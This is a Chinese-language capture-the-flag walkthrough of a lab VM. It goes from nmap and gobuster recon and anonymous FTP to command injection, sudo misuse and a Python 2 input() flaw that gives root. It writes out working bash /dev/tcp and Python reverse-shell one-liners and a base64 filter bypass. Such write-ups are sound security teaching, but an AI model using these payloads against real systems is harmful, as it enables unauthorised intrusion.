靶机难度:中等
flag 数:2
工具及漏洞信息#
- netdiscover
- nmap
- gobuster
- ftp 匿名登录下载文件
- echo 的 bash 和 python 反弹 shell
- nc 连接指定 ip 做题脚本
- sudo -l 查看当前用户权限
- .pyc 文件反编译
- input () 函数漏洞
- nc 传输文件
0x01 信息收集#
扫描靶机#
netdiscover的-r参数扫描192.168.1.0/16或者路由器管理界面查看有线连接的设备得到靶机ip
nmap扫描主机及端口信息:
nmap -sS -A -n -T4 -p- 192.168.1.7

21的ftp服务貌似可以匿名登录,因为nmap直接给出了ftp连接上后的文件内容
那我们ftp连接一下,查看一下这三个文件的内容:
使用ftp ip命令连接ftp服务器,用户名为匿名:anonymous,密码直接回车即可登录

使用mget *.*下载所有文件,会确认你是否要下载,直接回车就可以,也可以直接在ftp交互端cat查看:

得到的信息似乎是一个账号和密码,还有提示我们我们1337是一个游戏
ssh的端口状态为filtered就不折腾了
除此之外还有1337和7331两个端口
1337端口的指纹信息写着:
Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift
猜测是CTF中常见的nc连接然后反弹数学题的操作,和我们上面得到的信息差不多
后面有时间的话会放一个脚本
7331扫描出的信息中包含http-server-header和http-title字段,猜测http服务开在这个端口
打开看一下,果然是:

扫描漏洞信息#
nmap扫描漏洞信息:
cd /usr/share/nmap/scripts/
git clone https://github.com/vulnersCom/nmap-vulners
nmap --script nmap-vulners -sV 192.168.1.7

没有啥可以利用的
扫描路径#
刚才扫描我们已经知道了web服务不在默认的80端口而是7331,所以扫描的时候也要记得改
gobuster 扫描路径:
gobuster dir -u http://192.168.1.7:7331/ -s 200,301,302 -t 50 -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
dirbuster的字典可以通过下载dirbuster原包,然后把字典移入这个目录:
wget https://nchc.dl.sourceforge.net/project/dirbuster/DirBuster%20%28jar%20%2B%20lists%29/1.0-RC1/DirBuster-1.0-RC1.tar.bz2
tar -jxf DirBuster-1.0-RC1.tar.bz2
cd DirBuster-1.0-RC1/ && mkdir /usr/share/wordlists/dirbuster/ && mv *.txt /usr/share/wordlists/dirbuster/

扫描出两个目录/wish和/genie,访问ip:7331/wish如下:

随便输入东西之后发现跳转到ip:7331/genie?name=后面接上执行的命令,猜测此处存在系统命令注入
0x02 网站身份 getshell#
既然能执行系统命令,那就直接nc反弹一个shell吧
在msf中快速开启监听:handler -H 192.168.1.11 -P 3333 -p cmd/unix/reverse_bash

在ip:7331/wish中输入nc -t -e /bin/bash 192.168.1.11 3333
结果跳转到genie?name=Wrong+choice+of+words,说明屏蔽了关键词
配合burpsuite来探测屏蔽的关键词
- 测试 ls 得到网站根目录的文件和目录如下 (%0A 是回车的 URL 编码)
- app.py
- app.pyc
- static/
- templates/

ls -lah也能正常运行,说明没有屏蔽空格
whoami能正常的到结果www-data
uname -a知道了这是台Ubuntu:

echo whoami可以执行,于是尝试使用
bash -i >& /dev/tcp/192.168.1.11/3333 0>&1
- bash -i 表示产生一个 bash 的交互环境
- 0>&1 将标准输入域标准输出内容相结合,然后重定向给前面的标准输出内容
或者用python来反弹shell也可以:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.11",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
将上面的命令用base64加密然后在burp出输入以下命令:
echo 加密的内容 | base64 -d | bash
注意,此处由于网页上执行和burp执行有编码的差异,建议如果在burp上执行的话再把空格和加号用URL编码一下
测试后发现python能反弹shell

0x03 普通用户 getshell#
拿到执行网站的用户的shell之后第一步当然是查看当前目录文件:

和我们前面用burp拦截得到的结果一样,查看了/etc/passwd得到两个用户sam和nitish
但是他们用户目录下的文件没有查看权限
于是回到网站根目录来,查看一下app.py文件的内容:

大致内容是刚才拦截我们的函数代码,除此之外还得到一个信息:
/home/nitish/.dev/creds.txt
查看这个文件:

得到了nitish账户的密码p4ssw0rdStr3r0n9,登录用户之前记得要开启标准的tty:
python -c 'import pty; pty.spawn("/bin/bash")'

在nitish用户目录下获取到第一个flag
0x04 提权 root#
查看一下当前用户能执行哪些sudo的命令:

当前的nithsh账户可以在不使用密码的情况下执行sam用户的genie脚本
看一下genie的用法:

有个-p参数写能给我们提供shell,尝试一下:
sudo -u sam genie -p "/bin/sh"

-e和-p参数都没用,再用strings命令查看/usr/bin/genie的内容
最终知道了还有个参数-cmd,执行命令获得sam的shell:
sudo -u sam /usr/bin/genie -cmd id

当前账户成功切换为sam,那么再来看下sam能以sudo执行什么命令:

sam可以执行lago脚本,来执行一下看一下:
第一个Be naughty:

没啥乱用,第二个Guess the number:

百分之一的概率,似乎比1337端口好弄一点,而且python的input()的话是有漏洞的
第三个Read some damn files

可以读文件,但是需要知道路径,第四个Work:

也没啥卵用,再试一下猜数字,不输入数字,输入其他的:

发现竟然在输入num之后能查看/root目录了,执行/root/proof.sh获得root的flag

0x05 获取shell原因解密#
我们这纯属瞎猫碰死耗子,其实应该是找到python文件的编译文件pyc
pyc是一种二进制文件,是由 Python 文件经过编译后所生成的文件
然后反编译出原来的.py文件,然后再找input漏洞的,常见的例子如下:

也就是没有对输入的字符进行检测,直接按字符串处理,等于设定好的字符串即输出结果
所以我们输入num恰好成功说明Guess the number的函数代码差不多是这么写的:
def guess_the_number():
input_number = input("Choose a number between 1 to 100:\nEnter your number:")
if num == input_number:
return True
我这里尝试反编译一下看是不是,查看sam的用户目录:

找到一个.pyc文件,尝试把它反编译成.py文件
先把它传输到攻击机,这里使用nc
靶机开启监听端口并传输文件:nc -lvp 3456 < .pyc
目标机连接靶机并接收文件:nc 192.168.1.6 3456 > .pyc


等待几秒之后直接在靶机端ctrl+c结束即可
随后我们用uncompyle6反编译.pyc,它是uncompyle2的继承者
uncompyle2只专注于python2.7,虽然有时候准确率比uncompyle6高
但是大部分情况下还是uncompyle6准确率高,而且它已经几乎不再维护了
uncompyle6支持几乎你能见到的所有python版本,安装如下:
proxychains git clone https://github.com/rocky/python-uncompyle6
cd python-uncompyle6/
pip install -e .
python setup.py install
就安装完成了,反编译我们的.pyc:
uncompyle6 .pyc -o exp.py

果然和我前面猜测的差不多
参考文章:
本文完。